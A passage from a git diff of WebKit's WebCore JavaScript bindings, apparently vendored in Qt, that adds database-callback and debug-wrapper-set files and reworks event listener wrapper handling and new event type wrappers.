+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#ifndef JSDOMWrapper_h
+#define JSDOMWrapper_h
+
+#include <runtime/JSObject.h>
+
+namespace WebCore {
+
+// Base class for all objects in this binding except Window.
+class DOMObject : public JSC::JSObject {
+protected:
+    explicit DOMObject(NonNullPassRefPtr<JSC::Structure> structure) 
+        : JSObject(structure)
+    {
+    }
+
+    virtual bool defineOwnProperty(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&, bool);
+
+#ifndef NDEBUG
+    virtual ~DOMObject();
+#endif
+};
+
+} // namespace WebCore
+
+#endif // JSDOMWrapper_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDataGridColumnListCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDataGridColumnListCustom.cpp
index 91b3d15..9a6982a 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDataGridColumnListCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDataGridColumnListCustom.cpp
@@ -43,9 +43,9 @@ bool JSDataGridColumnList::canGetItemsForName(ExecState*, DataGridColumnList* im
     return impl->itemWithName(propertyName);
 }
 
-JSValue JSDataGridColumnList::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSDataGridColumnList::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSDataGridColumnList* thisObj = static_cast<JSDataGridColumnList*>(asObject(slot.slotBase()));
+    JSDataGridColumnList* thisObj = static_cast<JSDataGridColumnList*>(asObject(slotBase));
     return toJS(exec, thisObj->globalObject(), thisObj->impl()->itemWithName(propertyName));
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDatabaseCallback.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDatabaseCallback.cpp
new file mode 100644
index 0000000..c75a6e5
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDatabaseCallback.cpp
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JSDatabaseCallback.h"
+
+#if ENABLE(DATABASE)
+
+#include "Frame.h"
+#include "JSDatabase.h"
+#include "ScriptController.h"
+#include "ScriptExecutionContext.h"
+#include <runtime/JSLock.h>
+#include <wtf/MainThread.h>
+
+namespace WebCore {
+
+using namespace JSC;
+
+JSDatabaseCallback::JSDatabaseCallback(JSObject* callback, JSDOMGlobalObject* globalObject)
+    : m_data(new JSCallbackData(callback, globalObject))
+    , m_isolatedWorld(DOMWrapperWorld::create(globalObject->globalData(), true))
+{
+}
+
+JSDatabaseCallback::~JSDatabaseCallback()
+{
+    callOnMainThread(JSCallbackData::deleteData, m_data);
+#ifndef NDEBUG
+    m_data = 0;
+#endif
+}
+
+void JSDatabaseCallback::handleEvent(ScriptExecutionContext* context, Database* database)
+{
+    ASSERT(m_data);
+    ASSERT(context);
+
+    RefPtr<JSDatabaseCallback> protect(this);
+
+    JSC::JSLock lock(SilenceAssertionsOnly);
+
+    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(context, m_isolatedWorld.get());
+    if (!globalObject)
+        return;
+
+    ExecState* exec = globalObject->globalExec();
+    MarkedArgumentBuffer args;
+    args.append(toJS(exec, database));
+
+    bool ignored;
+    m_data->invokeCallback(args, &ignored);
+}
+
+}
+
+#endif // ENABLE(DATABASE)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDatabaseCallback.h b/src/3rdparty/webkit/WebCore/bindings/js/JSDatabaseCallback.h
new file mode 100644
index 0000000..2f9234e
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDatabaseCallback.h
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JSDatabaseCallback_h
+#define JSDatabaseCallback_h
+
+#if ENABLE(DATABASE)
+
+#include "DatabaseCallback.h"
+#include "JSCallbackData.h"
+
+namespace WebCore {
+
+class ScriptExecutionContext;
+
+class JSDatabaseCallback : public DatabaseCallback {
+public:
+    static PassRefPtr<JSDatabaseCallback> create(JSC::JSObject* callback, JSDOMGlobalObject* globalObject)
+    {
+        return adoptRef(new JSDatabaseCallback(callback, globalObject));
+    }
+
+    virtual ~JSDatabaseCallback();
+
+    virtual void handleEvent(ScriptExecutionContext*, Database*);
+
+private:
+    JSDatabaseCallback(JSC::JSObject* callback, JSDOMGlobalObject*);
+
+    JSCallbackData* m_data;
+    RefPtr<DOMWrapperWorld> m_isolatedWorld;
+};
+
+}
+
+#endif // ENABLE(DATABASE)
+
+#endif // JSDatabaseCallback_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDebugWrapperSet.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDebugWrapperSet.cpp
new file mode 100644
index 0000000..b0d6ca9
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDebugWrapperSet.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
+ * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+ * THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JSDebugWrapperSet.h"
+
+#include <wtf/StdLibExtras.h>
+
+#if ENABLE(WORKERS)
+#include <wtf/ThreadSpecific.h>
+#endif
+
+namespace WebCore {
+
+JSDebugWrapperSet& JSDebugWrapperSet::shared()
+{
+#if ENABLE(WORKERS)
+    DEFINE_STATIC_LOCAL(WTF::ThreadSpecific<JSDebugWrapperSet>, staticWrapperSet, ());
+    return *staticWrapperSet;
+#else
+    DEFINE_STATIC_LOCAL(JSDebugWrapperSet, staticWrapperSet, ());
+    return staticWrapperSet;
+#endif
+}
+
+JSDebugWrapperSet::JSDebugWrapperSet()
+{
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDebugWrapperSet.h b/src/3rdparty/webkit/WebCore/bindings/js/JSDebugWrapperSet.h
new file mode 100644
index 0000000..94b6f78
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDebugWrapperSet.h
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
+ * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+ * THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JSDebugWrapperSet_h
+#define JSDebugWrapperSet_h
+
+#include "JSDOMWrapper.h"
+#include <wtf/HashSet.h>
+#include <wtf/Noncopyable.h>
+
+namespace WebCore {
+
+// For debugging, keep a set of wrappers currently cached, and check that
+// all are uncached before they are destroyed. This helps us catch bugs like:
+//     - wrappers being deleted without being removed from the cache
+//     - wrappers being cached twice
+
+class JSDebugWrapperSet : public Noncopyable {
+    friend class WTF::ThreadSpecific<JSDebugWrapperSet>;
+public:
+    static JSDebugWrapperSet& shared();
+
+    void add(DOMObject* object) { m_wrapperSet.add(object); }
+    void remove(DOMObject* object) { m_wrapperSet.remove(object); }
+    bool contains(DOMObject* object) const { return m_wrapperSet.contains(object); }
+
+    static void willCacheWrapper(DOMObject*);
+    static void didUncacheWrapper(DOMObject*);
+
+private:
+    JSDebugWrapperSet();
+
+    HashSet<DOMObject*> m_wrapperSet;
+};
+
+#ifdef NDEBUG
+
+inline void JSDebugWrapperSet::willCacheWrapper(DOMObject*)
+{
+}
+
+inline void JSDebugWrapperSet::didUncacheWrapper(DOMObject*)
+{
+}
+
+#else
+
+inline void JSDebugWrapperSet::willCacheWrapper(DOMObject* wrapper)
+{
+    ASSERT(!JSDebugWrapperSet::shared().contains(wrapper));
+    JSDebugWrapperSet::shared().add(wrapper);
+}
+
+inline void JSDebugWrapperSet::didUncacheWrapper(DOMObject* wrapper)
+{
+    if (!wrapper)
+        return;
+    ASSERT(JSDebugWrapperSet::shared().contains(wrapper));
+    JSDebugWrapperSet::shared().remove(wrapper);
+}
+
+#endif
+
+} // namespace WebCore
+
+#endif // JSDebugWrapperSet_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDocumentCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDocumentCustom.cpp
index d7f8725..eda153e 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDocumentCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDocumentCustom.cpp
@@ -26,7 +26,7 @@
 #include "HTMLDocument.h"
 #include "JSCanvasRenderingContext2D.h"
 #if ENABLE(3D_CANVAS)
-#include "JSCanvasRenderingContext3D.h"
+#include "JSWebGLRenderingContext.h"
 #endif
 #include "JSDOMWindowCustom.h"
 #include "JSHTMLDocument.h"
@@ -65,11 +65,11 @@ JSValue JSDocument::location(ExecState* exec) const
         return jsNull();
 
     Location* location = frame->domWindow()->location();
-    if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), location))
+    if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec, location))
         return wrapper;
 
     JSLocation* jsLocation = new (exec) JSLocation(getDOMStructure<JSLocation>(exec, globalObject()), globalObject(), location);
-    cacheDOMObjectWrapper(exec->globalData(), location, jsLocation);
+    cacheDOMObjectWrapper(exec, location, jsLocation);
     return jsLocation;
 }
 
@@ -87,7 +87,7 @@ void JSDocument::setLocation(ExecState* exec, JSValue value)
     if (activeFrame)
         str = activeFrame->document()->completeURL(str).string();
 
-    bool userGesture = activeFrame->script()->processingUserGesture();
+    bool userGesture = activeFrame->script()->processingUserGesture(currentWorld(exec));
     frame->redirectScheduler()->scheduleLocationChange(str, activeFrame->loader()->outgoingReferrer(), !activeFrame->script()->anyPageIsProcessingUserGesture(), false, userGesture);
 }
 
@@ -96,18 +96,18 @@ JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, Document* documen
     if (!document)
         return jsNull();
 
-    DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), document);
+    DOMObject* wrapper = getCachedDOMNodeWrapper(exec, document, document);
     if (wrapper)
         return wrapper;
 
     if (document->isHTMLDocument())
-        wrapper = CREATE_DOM_OBJECT_WRAPPER(exec, globalObject, HTMLDocument, document);
+        wrapper = CREATE_DOM_NODE_WRAPPER(exec, globalObject, HTMLDocument, document);
 #if ENABLE(SVG)
     else if (document->isSVGDocument())
-        wrapper = CREATE_DOM_OBJECT_WRAPPER(exec, globalObject, SVGDocument, document);
+        wrapper = CREATE_DOM_NODE_WRAPPER(exec, globalObject, SVGDocument, document);
 #endif
     else
-        wrapper = CREATE_DOM_OBJECT_WRAPPER(exec, globalObject, Document, document);
+        wrapper = CREATE_DOM_NODE_WRAPPER(exec, globalObject, Document, document);
 
     // Make sure the document is kept around by the window object, and works right with the
     // back/forward cache.
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSElementCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSElementCustom.cpp
index fb64ff2..c725290 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSElementCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSElementCustom.cpp
@@ -145,7 +145,7 @@ JSValue toJSNewlyCreated(ExecState* exec, JSDOMGlobalObject* globalObject, Eleme
     if (!element)
         return jsNull();
 
-    ASSERT(!getCachedDOMNodeWrapper(element->document(), element));
+    ASSERT(!getCachedDOMNodeWrapper(exec, element->document(), element));
 
     JSNode* wrapper;        
     if (element->isHTMLElement())
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSEventCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSEventCustom.cpp
index edf9151..6686d7a 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSEventCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSEventCustom.cpp
@@ -30,9 +30,13 @@
 #include "JSEvent.h"
 
 #include "Clipboard.h"
+#include "CompositionEvent.h"
+#include "CustomEvent.h"
 #include "Event.h"
 #include "JSBeforeLoadEvent.h"
 #include "JSClipboard.h"
+#include "JSCustomEvent.h"
+#include "JSCompositionEvent.h"
 #include "JSErrorEvent.h"
 #include "JSKeyboardEvent.h"
 #include "JSMessageEvent.h"
@@ -40,6 +44,7 @@
 #include "JSMutationEvent.h"
 #include "JSOverflowEvent.h"
 #include "JSPageTransitionEvent.h"
+#include "JSPopStateEvent.h"
 #include "JSProgressEvent.h"
 #include "JSTextEvent.h"
 #include "JSUIEvent.h"
@@ -55,6 +60,7 @@
 #include "MutationEvent.h"
 #include "OverflowEvent.h"
 #include "PageTransitionEvent.h"
+#include "PopStateEvent.h"
 #include "ProgressEvent.h"
 #include "TextEvent.h"
 #include "UIEvent.h"
@@ -74,6 +80,11 @@
 #include "SVGZoomEvent.h"
 #endif
 
+#if ENABLE(TOUCH_EVENTS)
+#include "JSTouchEvent.h"
+#include "TouchEvent.h"
+#endif
+
 using namespace JSC;
 
 namespace WebCore {
@@ -90,7 +101,7 @@ JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, Event* event)
     if (!event)
         return jsNull();
 
-    DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), event);
+    DOMObject* wrapper = getCachedDOMObjectWrapper(exec, event);
     if (wrapper)
         return wrapper;
 
@@ -107,6 +118,12 @@ JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, Event* event)
         else if (event->isSVGZoomEvent())
             wrapper = CREATE_DOM_OBJECT_WRAPPER(exec, globalObject, SVGZoomEvent, event);
 #endif
+        else if (event->isCompositionEvent())
+            wrapper = CREATE_DOM_OBJECT_WRAPPER(exec, globalObject, CompositionEvent, event);
+#if ENABLE(TOUCH_EVENTS)
+        else if (event->isTouchEvent())
+            wrapper = CREATE_DOM_OBJECT_WRAPPER(exec, globalObject, TouchEvent, event);
+#endif
         else
             wrapper = CREATE_DOM_OBJECT_WRAPPER(exec, globalObject, UIEvent, event);
     } else if (event->isMutationEvent())
@@ -136,6 +153,10 @@ JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, Event* event)
     else if (event->isErrorEvent())
         wrapper = CREATE_DOM_OBJECT_WRAPPER(exec, globalObject, ErrorEvent, event);
 #endif
+    else if (event->isPopStateEvent())
+        wrapper = CREATE_DOM_OBJECT_WRAPPER(exec, globalObject, PopStateEvent, event);
+    else if (event->isCustomEvent())
+        wrapper = CREATE_DOM_OBJECT_WRAPPER(exec, globalObject, CustomEvent, event);
     else
         wrapper = CREATE_DOM_OBJECT_WRAPPER(exec, globalObject, Event, event);
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSEventListener.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSEventListener.cpp
index 1a999a8..be049db 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSEventListener.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSEventListener.cpp
@@ -31,9 +31,10 @@ using namespace JSC;
 
 namespace WebCore {
 
-JSEventListener::JSEventListener(JSObject* function, bool isAttribute, DOMWrapperWorld* isolatedWorld)
+JSEventListener::JSEventListener(JSObject* function, JSObject* wrapper, bool isAttribute, DOMWrapperWorld* isolatedWorld)
     : EventListener(JSEventListenerType)
     , m_jsFunction(function)
+    , m_wrapper(wrapper)
     , m_isAttribute(isAttribute)
     , m_isolatedWorld(isolatedWorld)
 {
@@ -43,9 +44,10 @@ JSEventListener::~JSEventListener()
 {
 }
 
-JSObject* JSEventListener::jsFunction(ScriptExecutionContext*) const
+JSObject* JSEventListener::initializeJSFunction(ScriptExecutionContext*) const
 {
-    return m_jsFunction;
+    ASSERT_NOT_REACHED();
+    return 0;
 }
 
 void JSEventListener::markJSFunction(MarkStack& markStack)
@@ -81,18 +83,13 @@ void JSEventListener::handleEvent(ScriptExecutionContext* scriptExecutionContext
             return;
         // FIXME: Is this check needed for other contexts?
         ScriptController* script = frame->script();
-        if (!script->isEnabled() || script->isPaused())
+        if (!script->canExecuteScripts(AboutToExecuteScript) || script->isPaused())
             return;
     }
 
     ExecState* exec = globalObject->globalExec();
+    JSValue handleEventFunction = jsFunction->get(exec, Identifier(exec, "handleEvent"));
 
-    JSValue handleEventFunction;
-    {
-        // Switch worlds, just in case handleEvent is a getter and causes JS execution!
-        EnterDOMWrapperWorld worldEntry(exec, m_isolatedWorld.get());
-        handleEventFunction = jsFunction->get(exec, Identifier(exec, "handleEvent"));
-    }
     CallData callData;
     CallType callType = handleEventFunction.getCallData(callData);
     if (callType == CallTypeNone) {
@@ -114,8 +111,8 @@ void JSEventListener::handleEvent(ScriptExecutionContext* scriptExecutionContext
 
         globalData->timeoutChecker.start();
         JSValue retval = handleEventFunction
-            ? callInWorld(exec, handleEventFunction, callType, callData, jsFunction, args, m_isolatedWorld.get())
-            : callInWorld(exec, jsFunction, callType, callData, toJS(exec, globalObject, event->currentTarget()), args, m_isolatedWorld.get());
+            ? JSC::call(exec, handleEventFunction, callType, callData, jsFunction, args)
+            : JSC::call(exec, jsFunction, callType, callData, toJS(exec, globalObject, event->currentTarget()), args);
         globalData->timeoutChecker.stop();
 
         globalObject->setCurrentEvent(savedEvent);
@@ -132,8 +129,6 @@ void JSEventListener::handleEvent(ScriptExecutionContext* scriptExecutionContext
             }
         }
 
-        if (scriptExecutionContext->isDocument())
-            Document::updateStyleForAllDocuments();
         deref();
     }
 }
@@ -166,7 +161,7 @@ bool JSEventListener::reportError(ScriptExecutionContext* context, const String&
     JSValue thisValue = globalObject->toThisObject(exec);
 
     globalData->timeoutChecker.start();
-    JSValue returnValue = callInWorld(exec, jsFunction, callType, callData, thisValue, args, m_isolatedWorld.get());
+    JSValue returnValue = JSC::call(exec, jsFunction, callType, callData, thisValue, args);
     globalData->timeoutChecker.stop();
 
     // If an error occurs while handling the script error, it should be bubbled up.
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSEventListener.h b/src/3rdparty/webkit/WebCore/bindings/js/JSEventListener.h
index bf3af48..569c192 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSEventListener.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSEventListener.h
@@ -22,7 +22,7 @@
 
 #include "EventListener.h"
 #include "JSDOMWindow.h"
-#include <runtime/Protect.h>
+#include <runtime/WeakGCPtr.h>
 
 namespace WebCore {
 
@@ -30,9 +30,9 @@ namespace WebCore {
 
     class JSEventListener : public EventListener {
     public:
-        static PassRefPtr<JSEventListener> create(JSC::JSObject* listener, bool isAttribute, DOMWrapperWorld* isolatedWorld)
+        static PassRefPtr<JSEventListener> create(JSC::JSObject* listener, JSC::JSObject* wrapper, bool isAttribute, DOMWrapperWorld* isolatedWorld)
         {
-            return adoptRef(new JSEventListener(listener, isAttribute, isolatedWorld));
+            return adoptRef(new JSEventListener(listener, wrapper, isAttribute, isolatedWorld));
         }
 
         static const JSEventListener* cast(const EventListener* listener)
@@ -49,23 +49,64 @@ namespace WebCore {
         // Returns true if this event listener was created for an event handler attribute, like "onload" or "onclick".
         bool isAttribute() const { return m_isAttribute; }
 
-        virtual JSC::JSObject* jsFunction(ScriptExecutionContext*) const;
+        JSC::JSObject* jsFunction(ScriptExecutionContext*) const;
+        DOMWrapperWorld* isolatedWorld() const { return m_isolatedWorld.get(); }
+
+        JSC::JSObject* wrapper() const { return m_wrapper.get(); }
+        void setWrapper(JSC::JSObject* wrapper) const { m_wrapper = wrapper; }
 
     private:
+        virtual JSC::JSObject* initializeJSFunction(ScriptExecutionContext*) const;
         virtual void markJSFunction(JSC::MarkStack&);
+        virtual void invalidateJSFunction(JSC::JSObject*);
         virtual void handleEvent(ScriptExecutionContext*, Event*);
         virtual bool reportError(ScriptExecutionContext*, const String& message, const String& url, int lineNumber);
         virtual bool virtualisAttribute() const;
-        void clearJSFunctionInline();
 
     protected:
-        JSEventListener(JSC::JSObject* function, bool isAttribute, DOMWrapperWorld* isolatedWorld);
+        JSEventListener(JSC::JSObject* function, JSC::JSObject* wrapper, bool isAttribute, DOMWrapperWorld* isolatedWorld);
 
+    private:
         mutable JSC::JSObject* m_jsFunction;
+        mutable JSC::WeakGCPtr<JSC::JSObject> m_wrapper;
+
         bool m_isAttribute;
         RefPtr<DOMWrapperWorld> m_isolatedWorld;
     };
 
+    inline JSC::JSObject* JSEventListener::jsFunction(ScriptExecutionContext* scriptExecutionContext) const
+    {
+        if (!m_jsFunction)
+            m_jsFunction = initializeJSFunction(scriptExecutionContext);
+
+        // Verify that we have a valid wrapper protecting our function from
+        // garbage collection.
+        ASSERT(m_wrapper || !m_jsFunction);
+        if (!m_wrapper)
+            return 0;
+
+        // Try to verify that m_jsFunction wasn't recycled. (Not exact, since an
+        // event listener can be almost anything, but this makes test-writing easier).
+        ASSERT(!m_jsFunction || static_cast<JSC::JSCell*>(m_jsFunction)->isObject());
+
+        return m_jsFunction;
+    }
+
+    inline void JSEventListener::invalidateJSFunction(JSC::JSObject* wrapper)
+    {
+        m_wrapper.clear(wrapper);
+    }
+
+    // Creates a JS EventListener for an "onXXX" event attribute.
+    inline PassRefPtr<JSEventListener> createJSAttributeEventListener(JSC::ExecState* exec, JSC::JSValue listener, JSC::JSObject* wrapper)
+    {
+        if (!listener.isObject())
+            return 0;
+
+        return JSEventListener::create(asObject(listener), wrapper, true, currentWorld(exec));
+    }
+
+
 } // namespace WebCore
 
 #endif // JSEventListener_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSEventSourceCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSEventSourceCustom.cpp
index 8f0dfb1..dab3285 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSEventSourceCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSEventSourceCustom.cpp
@@ -49,7 +49,7 @@ JSValue JSEventSource::addEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -59,7 +59,7 @@ JSValue JSEventSource::removeEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSGeolocationCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSGeolocationCustom.cpp
index 530b89b..8bc348c 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSGeolocationCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSGeolocationCustom.cpp
@@ -26,6 +26,8 @@
 #include "config.h"
 #include "JSGeolocation.h"
 
+#if ENABLE(GEOLOCATION)
+
 #include "DOMWindow.h"
 #include "ExceptionCode.h"
 #include "Geolocation.h"
@@ -178,3 +180,5 @@ JSValue JSGeolocation::watchPosition(ExecState* exec, const ArgList& args)
 }
 
 } // namespace WebCore
+
+#endif // ENABLE(GEOLOCATION)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLAllCollectionCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLAllCollectionCustom.cpp
index fd1dd11..06b3ce4 100644
